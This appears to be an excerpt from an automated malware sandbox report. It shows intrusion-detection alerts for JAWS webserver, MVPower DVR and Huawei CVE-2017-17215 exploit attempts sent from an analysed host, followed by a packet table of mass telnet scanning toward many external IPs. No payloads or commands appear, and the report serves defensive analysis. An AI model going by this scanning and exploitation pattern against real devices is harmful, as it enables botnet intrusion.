04/14/24-04:00:43.209278	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49396	80	192.168.2.13	185.242.83.139
04/14/24-04:00:43.674629	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	38538	80	192.168.2.13	113.21.246.146
04/14/24-04:01:42.477459	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50646	80	192.168.2.13	138.122.165.69
04/14/24-04:01:37.508770	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	53380	80	192.168.2.13	136.226.33.46
04/14/24-04:01:11.676717	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	44394	80	192.168.2.13	47.94.165.217
04/14/24-04:01:46.885573	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	32906	80	192.168.2.13	154.41.233.203
04/14/24-04:00:58.809367	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	53566	80	192.168.2.13	159.75.252.47
04/14/24-04:00:58.798190	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	33346	80	192.168.2.13	193.180.115.13
04/14/24-04:01:45.140848	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	37080	80	192.168.2.13	167.82.21.21
04/14/24-04:00:33.595544	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	51226	80	192.168.2.13	60.204.205.119
04/14/24-04:00:38.026702	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	37358	80	192.168.2.13	121.89.58.33
04/14/24-04:00:58.540176	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52074	80	192.168.2.13	147.46.240.199
04/14/24-04:01:42.534077	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59772	37215	192.168.2.13	156.241.107.105
04/14/24-04:01:11.341399	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	57016	80	192.168.2.13	178.25.1.70
04/14/24-04:00:38.671898	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47970	80	192.168.2.13	92.205.173.124
04/14/24-04:01:45.452977	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53076	80	192.168.2.13	201.96.157.17
04/14/24-04:01:24.679598	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	41274	80	192.168.2.13	52.1.206.174
04/14/24-04:00:53.696334	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54650	80	192.168.2.13	51.75.161.197
04/14/24-04:00:52.605156	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60906	80	192.168.2.13	95.100.235.124
04/14/24-04:00:23.285416	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	34700	80	192.168.2.13	104.218.232.35
04/14/24-04:01:49.401864	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46398	80	192.168.2.13	50.87.191.161
04/14/24-04:00:26.568955	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	39674	80	192.168.2.13	13.250.76.130
04/14/24-04:00:57.603560	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	45098	80	192.168.2.13	164.42.150.172
04/14/24-04:01:02.368798	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57790	80	192.168.2.13	156.241.99.154
04/14/24-04:00:23.634919	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	38066	80	192.168.2.13	189.43.147.177
04/14/24-04:00:39.952737	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	35040	80	192.168.2.13	125.23.46.59
04/14/24-04:00:15.768696	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	36874	80	192.168.2.13	104.89.113.53
04/14/24-04:00:29.712863	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	36038	80	192.168.2.13	218.16.123.214
04/14/24-04:00:40.640622	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58186	80	192.168.2.13	23.198.87.106
04/14/24-03:59:54.909818	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	45610	80	192.168.2.13	74.208.25.82
04/14/24-04:01:15.408119	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50318	80	192.168.2.13	45.116.167.168
04/14/24-04:01:49.658287	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	59388	80	192.168.2.13	46.242.239.155
04/14/24-04:00:14.463199	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	54158	80	192.168.2.13	46.235.189.35
04/14/24-04:00:13.935441	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58952	80	192.168.2.13	172.255.83.242
04/14/24-04:00:27.627857	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54108	80	192.168.2.13	51.255.0.122
04/14/24-04:01:19.624616	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	43492	80	192.168.2.13	178.128.249.27
04/14/24-04:01:36.404011	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47080	80	192.168.2.13	154.22.44.160
04/14/24-04:00:47.652607	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	39820	80	192.168.2.13	116.106.105.209
04/14/24-04:01:32.520290	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48304	80	192.168.2.13	125.133.17.134
04/14/24-04:01:28.439800	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	54638	80	192.168.2.13	182.253.216.253
04/14/24-04:01:35.723502	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	40236	80	192.168.2.13	20.7.224.72
04/14/24-04:00:29.271232	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	43336	80	192.168.2.13	47.225.41.28
04/14/24-04:00:22.655595	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	33282	80	192.168.2.13	23.87.89.132
04/14/24-04:00:26.671375	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	53538	80	192.168.2.13	18.118.98.24
04/14/24-04:00:19.560533	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	42962	80	192.168.2.13	107.23.217.196
04/14/24-04:00:30.450105	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	33768	80	192.168.2.13	34.210.176.69
04/14/24-04:00:36.444458	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60518	80	192.168.2.13	37.100.134.205
04/14/24-04:00:19.372950	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	33548	80	192.168.2.13	185.153.151.196
04/14/24-04:00:33.174775	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	44088	80	192.168.2.13	174.138.113.58
04/14/24-04:00:29.368516	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57520	80	192.168.2.13	77.51.82.198
04/14/24-04:01:02.380372	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50492	80	192.168.2.13	82.223.21.137
04/14/24-04:01:24.724116	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	42670	80	192.168.2.13	201.218.209.226
04/14/24-04:00:22.807096	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	45014	80	192.168.2.13	13.232.155.65
04/14/24-04:01:28.306404	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55524	80	192.168.2.13	18.208.4.165
04/14/24-04:01:03.285949	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	49864	80	192.168.2.13	199.67.121.162
04/14/24-04:01:24.483333	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	43782	80	192.168.2.13	18.155.196.181
04/14/24-04:01:45.303264	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58990	80	192.168.2.13	195.28.70.15
04/14/24-04:00:27.608930	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	33212	80	192.168.2.13	184.29.60.36
04/14/24-04:00:52.263453	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50200	80	192.168.2.13	2.19.74.62
04/14/24-04:00:55.629564	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	39472	80	192.168.2.13	66.33.220.122
04/14/24-04:00:29.351909	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52858	80	192.168.2.13	106.55.143.9
04/14/24-04:01:18.576134	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	36274	80	192.168.2.13	172.104.229.184
04/14/24-04:01:45.202514	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	33076	80	192.168.2.13	52.207.99.199
04/14/24-04:00:45.811296	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55640	80	192.168.2.13	62.31.96.100
04/14/24-04:00:46.386368	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	36124	80	192.168.2.13	35.169.168.55
04/14/24-04:00:43.209354	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57802	80	192.168.2.13	156.241.117.44
04/14/24-04:01:36.562740	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	52682	80	192.168.2.13	13.226.252.84
04/14/24-04:01:28.412588	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	35050	80	192.168.2.13	2.22.20.139
04/14/24-04:01:47.639398	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	51060	80	192.168.2.13	8.130.104.154
04/14/24-04:01:11.274951	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	34924	80	192.168.2.13	111.89.205.206
04/14/24-04:00:26.526355	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	36682	80	192.168.2.13	116.124.75.172
04/14/24-04:01:53.710843	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	55320	80	192.168.2.13	52.68.126.111
04/14/24-04:00:38.680096	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	46060	80	192.168.2.13	104.102.21.224
04/14/24-04:00:23.581357	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	36518	80	192.168.2.13	104.104.29.222
04/14/24-04:00:15.723724	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40432	80	192.168.2.13	112.90.95.147
04/14/24-04:01:47.385370	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	35826	80	192.168.2.13	172.234.221.196
04/14/24-04:00:34.736820	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	57768	80	192.168.2.13	203.32.78.72
04/14/24-04:01:36.656522	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	50872	80	192.168.2.13	148.0.2.9
04/14/24-04:01:42.620526	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50746	80	192.168.2.13	62.138.209.88
04/14/24-04:01:13.758841	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49504	80	192.168.2.13	37.221.250.92
04/14/24-04:01:03.864234	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	51604	80	192.168.2.13	45.145.88.5
04/14/24-04:00:16.679594	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	60794	80	192.168.2.13	161.97.117.64
04/14/24-04:00:13.912169	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	39046	80	192.168.2.13	216.32.28.43
04/14/24-04:00:15.057678	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	49432	80	192.168.2.13	81.169.194.146
04/14/24-04:00:13.961131	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	34462	80	192.168.2.13	104.248.234.118
04/14/24-04:00:22.618214	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55830	80	192.168.2.13	158.120.209.116
04/14/24-04:01:11.932247	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	41612	80	192.168.2.13	45.201.188.7
04/14/24-04:01:30.310744	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	54890	80	192.168.2.13	104.232.102.48
04/14/24-03:59:55.025744	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	51368	80	192.168.2.13	39.100.85.162
04/14/24-04:01:28.443028	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52786	80	192.168.2.13	200.80.131.208

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 14, 2024 03:59:48.584415913 CEST	50528	443	192.168.2.13	34.243.160.129
Apr 14, 2024 03:59:48.906411886 CEST	443	50528	34.243.160.129	192.168.2.13
Apr 14, 2024 03:59:48.906615019 CEST	50528	443	192.168.2.13	34.243.160.129
Apr 14, 2024 03:59:48.907628059 CEST	50528	443	192.168.2.13	34.243.160.129
Apr 14, 2024 03:59:49.229265928 CEST	443	50528	34.243.160.129	192.168.2.13
Apr 14, 2024 03:59:49.670181990 CEST	2631	23	192.168.2.13	112.181.115.189
Apr 14, 2024 03:59:49.670185089 CEST	2631	23	192.168.2.13	165.15.251.233
Apr 14, 2024 03:59:49.670185089 CEST	2631	23	192.168.2.13	129.48.140.172
Apr 14, 2024 03:59:49.670190096 CEST	2631	23	192.168.2.13	23.8.133.2
Apr 14, 2024 03:59:49.670190096 CEST	2631	23	192.168.2.13	79.119.247.140
Apr 14, 2024 03:59:49.670188904 CEST	2631	23	192.168.2.13	169.203.236.190
Apr 14, 2024 03:59:49.670191050 CEST	2631	23	192.168.2.13	54.171.200.193
Apr 14, 2024 03:59:49.670202971 CEST	2631	23	192.168.2.13	212.169.187.19
Apr 14, 2024 03:59:49.670202971 CEST	2631	23	192.168.2.13	27.246.134.93
Apr 14, 2024 03:59:49.670202971 CEST	2631	23	192.168.2.13	23.215.58.2
Apr 14, 2024 03:59:49.670202971 CEST	2631	23	192.168.2.13	82.86.37.210
Apr 14, 2024 03:59:49.670233965 CEST	2631	23	192.168.2.13	78.37.153.117
Apr 14, 2024 03:59:49.670247078 CEST	2631	23	192.168.2.13	35.204.34.4
Apr 14, 2024 03:59:49.670247078 CEST	2631	23	192.168.2.13	18.46.152.142
Apr 14, 2024 03:59:49.670248985 CEST	2631	23	192.168.2.13	190.38.241.76
Apr 14, 2024 03:59:49.670253038 CEST	2631	23	192.168.2.13	145.240.57.90
Apr 14, 2024 03:59:49.670253038 CEST	2631	23	192.168.2.13	58.197.105.78
Apr 14, 2024 03:59:49.670253038 CEST	2631	23	192.168.2.13	152.176.217.213
Apr 14, 2024 03:59:49.670254946 CEST	2631	23	192.168.2.13	205.12.6.67
Apr 14, 2024 03:59:49.670255899 CEST	2631	23	192.168.2.13	159.39.24.196
Apr 14, 2024 03:59:49.670273066 CEST	2631	23	192.168.2.13	166.112.211.248
Apr 14, 2024 03:59:49.670273066 CEST	2631	23	192.168.2.13	61.90.174.232
Apr 14, 2024 03:59:49.670278072 CEST	2631	23	192.168.2.13	91.80.228.1
Apr 14, 2024 03:59:49.670274019 CEST	2631	23	192.168.2.13	157.50.143.149
Apr 14, 2024 03:59:49.670274019 CEST	2631	23	192.168.2.13	202.76.145.236
Apr 14, 2024 03:59:49.670289040 CEST	2631	23	192.168.2.13	206.46.18.56
Apr 14, 2024 03:59:49.670286894 CEST	2631	23	192.168.2.13	161.126.132.112
Apr 14, 2024 03:59:49.670291901 CEST	2631	23	192.168.2.13	181.170.248.34
Apr 14, 2024 03:59:49.670286894 CEST	2631	23	192.168.2.13	112.23.160.136
Apr 14, 2024 03:59:49.670289040 CEST	2631	23	192.168.2.13	116.117.90.4
Apr 14, 2024 03:59:49.670289040 CEST	2631	23	192.168.2.13	64.29.47.150
Apr 14, 2024 03:59:49.670300007 CEST	2631	23	192.168.2.13	121.7.142.203
Apr 14, 2024 03:59:49.670300007 CEST	2631	23	192.168.2.13	184.7.106.21
Apr 14, 2024 03:59:49.670300961 CEST	2631	23	192.168.2.13	84.59.177.123
Apr 14, 2024 03:59:49.670300961 CEST	2631	23	192.168.2.13	62.219.46.199
Apr 14, 2024 03:59:49.670300961 CEST	2631	23	192.168.2.13	204.248.213.47
Apr 14, 2024 03:59:49.670300961 CEST	2631	23	192.168.2.13	171.67.44.153
Apr 14, 2024 03:59:49.670305967 CEST	2631	23	192.168.2.13	47.137.66.55
Apr 14, 2024 03:59:49.670320988 CEST	2631	23	192.168.2.13	9.134.173.45
Apr 14, 2024 03:59:49.670322895 CEST	2631	23	192.168.2.13	157.243.24.201
Apr 14, 2024 03:59:49.670322895 CEST	2631	23	192.168.2.13	99.155.28.31
Apr 14, 2024 03:59:49.670335054 CEST	2631	23	192.168.2.13	69.98.11.221
Apr 14, 2024 03:59:49.670352936 CEST	2631	23	192.168.2.13	197.174.206.36
Apr 14, 2024 03:59:49.670356035 CEST	2631	23	192.168.2.13	94.179.135.89
Apr 14, 2024 03:59:49.670356035 CEST	2631	23	192.168.2.13	122.218.230.172
Apr 14, 2024 03:59:49.670356989 CEST	2631	23	192.168.2.13	166.0.21.134
Apr 14, 2024 03:59:49.670360088 CEST	2631	23	192.168.2.13	19.86.13.192
Apr 14, 2024 03:59:49.670372009 CEST	2631	23	192.168.2.13	82.114.62.47
Apr 14, 2024 03:59:49.670372009 CEST	2631	23	192.168.2.13	75.18.218.176
Apr 14, 2024 03:59:49.670372963 CEST	2631	23	192.168.2.13	137.129.82.83
Apr 14, 2024 03:59:49.670372963 CEST	2631	23	192.168.2.13	61.164.199.161
Apr 14, 2024 03:59:49.670393944 CEST	2631	23	192.168.2.13	216.145.139.133
Apr 14, 2024 03:59:49.670393944 CEST	2631	23	192.168.2.13	76.88.198.253
Apr 14, 2024 03:59:49.670399904 CEST	2631	23	192.168.2.13	213.82.88.179
Apr 14, 2024 03:59:49.670399904 CEST	2631	23	192.168.2.13	116.116.41.198
Apr 14, 2024 03:59:49.670399904 CEST	2631	23	192.168.2.13	32.67.212.37
Apr 14, 2024 03:59:49.670408010 CEST	2631	23	192.168.2.13	135.41.87.238
Apr 14, 2024 03:59:49.670408010 CEST	2631	23	192.168.2.13	107.69.166.185
Apr 14, 2024 03:59:49.670440912 CEST	2631	23	192.168.2.13	98.111.18.134
Apr 14, 2024 03:59:49.670447111 CEST	2631	23	192.168.2.13	180.81.206.47
Apr 14, 2024 03:59:49.670450926 CEST	2631	23	192.168.2.13	121.39.62.9
Apr 14, 2024 03:59:49.670459032 CEST	2631	23	192.168.2.13	57.142.120.224
Apr 14, 2024 03:59:49.670459032 CEST	2631	23	192.168.2.13	180.246.189.26
Apr 14, 2024 03:59:49.670475960 CEST	2631	23	192.168.2.13	178.180.14.177
Apr 14, 2024 03:59:49.670475960 CEST	2631	23	192.168.2.13	97.61.75.116
Apr 14, 2024 03:59:49.670476913 CEST	2631	23	192.168.2.13	106.207.144.178
Apr 14, 2024 03:59:49.670475960 CEST	2631	23	192.168.2.13	74.10.13.94
Apr 14, 2024 03:59:49.670475960 CEST	2631	23	192.168.2.13	104.213.177.246
Apr 14, 2024 03:59:49.670483112 CEST	2631	23	192.168.2.13	99.71.229.177
Apr 14, 2024 03:59:49.670483112 CEST	2631	23	192.168.2.13	207.126.34.255
Apr 14, 2024 03:59:49.670483112 CEST	2631	23	192.168.2.13	70.100.40.215
Apr 14, 2024 03:59:49.670484066 CEST	2631	23	192.168.2.13	88.43.175.228
Apr 14, 2024 03:59:49.670484066 CEST	2631	23	192.168.2.13	40.243.59.186
Apr 14, 2024 03:59:49.670488119 CEST	2631	23	192.168.2.13	194.166.176.109
Apr 14, 2024 03:59:49.670507908 CEST	2631	23	192.168.2.13	196.46.31.69
Apr 14, 2024 03:59:49.670531988 CEST	2631	23	192.168.2.13	201.54.82.65
Apr 14, 2024 03:59:49.670531988 CEST	2631	23	192.168.2.13	108.194.84.48
Apr 14, 2024 03:59:49.670531988 CEST	2631	23	192.168.2.13	167.120.116.16
Apr 14, 2024 03:59:49.670535088 CEST	2631	23	192.168.2.13	52.141.194.228
Apr 14, 2024 03:59:49.670535088 CEST	2631	23	192.168.2.13	209.116.4.168
Apr 14, 2024 03:59:49.670535088 CEST	2631	23	192.168.2.13	186.60.27.125
Apr 14, 2024 03:59:49.670536995 CEST	2631	23	192.168.2.13	116.126.29.121
Apr 14, 2024 03:59:49.670536995 CEST	2631	23	192.168.2.13	74.233.27.177
Apr 14, 2024 03:59:49.670536995 CEST	2631	23	192.168.2.13	98.24.255.138
Apr 14, 2024 03:59:49.670552015 CEST	2631	23	192.168.2.13	182.237.208.38
Apr 14, 2024 03:59:49.670552015 CEST	2631	23	192.168.2.13	71.91.230.84
Apr 14, 2024 03:59:49.670552015 CEST	2631	23	192.168.2.13	186.140.202.114
Apr 14, 2024 03:59:49.670552015 CEST	2631	23	192.168.2.13	66.123.11.55
Apr 14, 2024 03:59:49.670557022 CEST	2631	23	192.168.2.13	188.107.242.115
Apr 14, 2024 03:59:49.670557976 CEST	2631	23	192.168.2.13	24.183.145.122
Apr 14, 2024 03:59:49.670557976 CEST	2631	23	192.168.2.13	60.129.29.80
Apr 14, 2024 03:59:49.670557976 CEST	2631	23	192.168.2.13	5.116.3.180
Apr 14, 2024 03:59:49.670557976 CEST	2631	23	192.168.2.13	138.141.193.132
Apr 14, 2024 03:59:49.670557976 CEST	2631	23	192.168.2.13	153.141.65.170
Apr 14, 2024 03:59:49.670557976 CEST	2631	23	192.168.2.13	210.104.246.236
Apr 14, 2024 03:59:49.670557976 CEST	2631	23	192.168.2.13	210.215.114.13
Apr 14, 2024 03:59:49.670557976 CEST	2631	23	192.168.2.13	153.119.166.243
Apr 14, 2024 03:59:49.670562983 CEST	2631	23	192.168.2.13	1.246.152.99
Apr 14, 2024 03:59:49.670558929 CEST	2631	23	192.168.2.13	199.31.225.138
Apr 14, 2024 03:59:49.670562983 CEST	2631	23	192.168.2.13	9.106.244.141
Apr 14, 2024 03:59:49.670558929 CEST	2631	23	192.168.2.13	184.168.120.147
Apr 14, 2024 03:59:49.670562983 CEST	2631	23	192.168.2.13	170.28.41.205
Apr 14, 2024 03:59:49.670567989 CEST	2631	23	192.168.2.13	118.177.83.165
Apr 14, 2024 03:59:49.670567989 CEST	2631	23	192.168.2.13	124.16.251.163
Apr 14, 2024 03:59:49.670567989 CEST	2631	23	192.168.2.13	139.1.145.126
Apr 14, 2024 03:59:49.670569897 CEST	2631	23	192.168.2.13	40.252.245.47
Apr 14, 2024 03:59:49.670569897 CEST	2631	23	192.168.2.13	12.231.195.203
Apr 14, 2024 03:59:49.670578003 CEST	2631	23	192.168.2.13	190.170.10.18
Apr 14, 2024 03:59:49.670593977 CEST	2631	23	192.168.2.13	59.45.199.3
Apr 14, 2024 03:59:49.670593977 CEST	2631	23	192.168.2.13	191.4.14.197
Apr 14, 2024 03:59:49.670593977 CEST	2631	23	192.168.2.13	147.118.18.176
Apr 14, 2024 03:59:49.670598984 CEST	2631	23	192.168.2.13	20.14.204.38
Apr 14, 2024 03:59:49.670598984 CEST	2631	23	192.168.2.13	206.155.65.4
Apr 14, 2024 03:59:49.670604944 CEST	2631	23	192.168.2.13	27.211.81.172
Apr 14, 2024 03:59:49.670619965 CEST	2631	23	192.168.2.13	118.77.137.118
Apr 14, 2024 03:59:49.670619965 CEST	2631	23	192.168.2.13	186.2.124.83
Apr 14, 2024 03:59:49.670629978 CEST	2631	23	192.168.2.13	201.127.82.146
Apr 14, 2024 03:59:49.670629978 CEST	2631	23	192.168.2.13	46.229.190.10
Apr 14, 2024 03:59:49.670630932 CEST	2631	23	192.168.2.13	190.183.115.234
Apr 14, 2024 03:59:49.670630932 CEST	2631	23	192.168.2.13	121.20.163.183
Apr 14, 2024 03:59:49.670644045 CEST	2631	23	192.168.2.13	129.105.6.73
Apr 14, 2024 03:59:49.670651913 CEST	2631	23	192.168.2.13	222.120.181.66
Apr 14, 2024 03:59:49.670654058 CEST	2631	23	192.168.2.13	35.106.13.203
Apr 14, 2024 03:59:49.670655012 CEST	2631	23	192.168.2.13	41.21.251.57
Apr 14, 2024 03:59:49.670655012 CEST	2631	23	192.168.2.13	58.172.167.210
Apr 14, 2024 03:59:49.670669079 CEST	2631	23	192.168.2.13	43.89.218.55
Apr 14, 2024 03:59:49.670669079 CEST	2631	23	192.168.2.13	119.35.72.0
Apr 14, 2024 03:59:49.670675039 CEST	2631	23	192.168.2.13	222.144.213.125
Apr 14, 2024 03:59:49.670679092 CEST	2631	23	192.168.2.13	184.215.42.170
Apr 14, 2024 03:59:49.670679092 CEST	2631	23	192.168.2.13	46.199.34.37
Apr 14, 2024 03:59:49.670680046 CEST	2631	23	192.168.2.13	122.111.185.127
Apr 14, 2024 03:59:49.670680046 CEST	2631	23	192.168.2.13	54.34.197.60
Apr 14, 2024 03:59:49.670680046 CEST	2631	23	192.168.2.13	191.55.67.78
Apr 14, 2024 03:59:49.670686007 CEST	2631	23	192.168.2.13	98.112.154.58
Apr 14, 2024 03:59:49.670703888 CEST	2631	23	192.168.2.13	99.176.146.50
Apr 14, 2024 03:59:49.670703888 CEST	2631	23	192.168.2.13	72.11.109.88
Apr 14, 2024 03:59:49.670716047 CEST	2631	23	192.168.2.13	216.18.212.36
Apr 14, 2024 03:59:49.670718908 CEST	2631	23	192.168.2.13	177.99.10.162
Apr 14, 2024 03:59:49.670718908 CEST	2631	23	192.168.2.13	180.215.183.74
Apr 14, 2024 03:59:49.670726061 CEST	2631	23	192.168.2.13	192.3.1.120
Apr 14, 2024 03:59:49.670730114 CEST	2631	23	192.168.2.13	198.107.191.68
Apr 14, 2024 03:59:49.670736074 CEST	2631	23	192.168.2.13	112.112.175.69
Apr 14, 2024 03:59:49.672106981 CEST	2631	23	192.168.2.13	167.204.182.7
Apr 14, 2024 03:59:49.672110081 CEST	2631	23	192.168.2.13	91.73.16.0
Apr 14, 2024 03:59:49.672111988 CEST	2631	23	192.168.2.13	131.114.230.8
Apr 14, 2024 03:59:49.672111988 CEST	2631	23	192.168.2.13	79.100.134.160
Apr 14, 2024 03:59:49.672127962 CEST	2631	23	192.168.2.13	101.190.199.0
Apr 14, 2024 03:59:49.672127962 CEST	2631	23	192.168.2.13	217.199.39.68
Apr 14, 2024 03:59:49.672130108 CEST	2631	23	192.168.2.13	71.164.225.55
Apr 14, 2024 03:59:49.672130108 CEST	2631	23	192.168.2.13	81.166.237.25
Apr 14, 2024 03:59:49.672137022 CEST	2631	23	192.168.2.13	180.0.246.127
Apr 14, 2024 03:59:49.672142982 CEST	2631	23	192.168.2.13	52.77.249.251
Apr 14, 2024 03:59:49.672148943 CEST	2631	23	192.168.2.13	164.253.141.208
Apr 14, 2024 03:59:49.672149897 CEST	2631	23	192.168.2.13	220.161.210.192
Apr 14, 2024 03:59:49.672148943 CEST	2631	23	192.168.2.13	100.56.11.176
Apr 14, 2024 03:59:49.672149897 CEST	2631	23	192.168.2.13	71.114.129.69
Apr 14, 2024 03:59:49.672151089 CEST	2631	23	192.168.2.13	150.212.160.62
Apr 14, 2024 03:59:49.672168970 CEST	2631	23	192.168.2.13	217.156.241.194
Apr 14, 2024 03:59:49.672180891 CEST	2631	23	192.168.2.13	84.198.230.219
Apr 14, 2024 03:59:49.672199011 CEST	2631	23	192.168.2.13	24.74.91.127
Apr 14, 2024 03:59:49.672204971 CEST	2631	23	192.168.2.13	98.160.88.164
Apr 14, 2024 03:59:49.672204971 CEST	2631	23	192.168.2.13	91.235.72.15
Apr 14, 2024 03:59:49.672205925 CEST	2631	23	192.168.2.13	74.111.159.209
Apr 14, 2024 03:59:49.672209024 CEST	2631	23	192.168.2.13	201.253.168.32
Apr 14, 2024 03:59:49.672209024 CEST	2631	23	192.168.2.13	163.95.105.0
Apr 14, 2024 03:59:49.672210932 CEST	2631	23	192.168.2.13	24.82.44.103
Apr 14, 2024 03:59:49.672216892 CEST	2631	23	192.168.2.13	42.150.152.179
Apr 14, 2024 03:59:49.672216892 CEST	2631	23	192.168.2.13	159.90.245.231
Apr 14, 2024 03:59:49.672235012 CEST	2631	23	192.168.2.13	217.176.216.50
Apr 14, 2024 03:59:49.672236919 CEST	2631	23	192.168.2.13	138.180.246.76
Apr 14, 2024 03:59:49.672240019 CEST	2631	23	192.168.2.13	20.16.123.27
Apr 14, 2024 03:59:49.672249079 CEST	2631	23	192.168.2.13	63.172.144.183
Apr 14, 2024 03:59:49.672254086 CEST	2631	23	192.168.2.13	122.89.168.131
Apr 14, 2024 03:59:49.672260046 CEST	2631	23	192.168.2.13	210.198.251.38
Apr 14, 2024 03:59:49.672260046 CEST	2631	23	192.168.2.13	36.70.37.178
Apr 14, 2024 03:59:49.672260046 CEST	2631	23	192.168.2.13	180.180.85.172
Apr 14, 2024 03:59:49.672260046 CEST	2631	23	192.168.2.13	114.226.9.9
Apr 14, 2024 03:59:49.672285080 CEST	2631	23	192.168.2.13	40.41.174.29
Apr 14, 2024 03:59:49.672286034 CEST	2631	23	192.168.2.13	72.60.211.147
Apr 14, 2024 03:59:49.672286034 CEST	2631	23	192.168.2.13	42.242.193.27
Apr 14, 2024 03:59:49.672292948 CEST	2631	23	192.168.2.13	69.187.94.53
Apr 14, 2024 03:59:49.672306061 CEST	2631	23	192.168.2.13	223.146.95.179
Apr 14, 2024 03:59:49.672306061 CEST	2631	23	192.168.2.13	170.211.157.128
Apr 14, 2024 03:59:49.672308922 CEST	2631	23	192.168.2.13	99.236.4.169
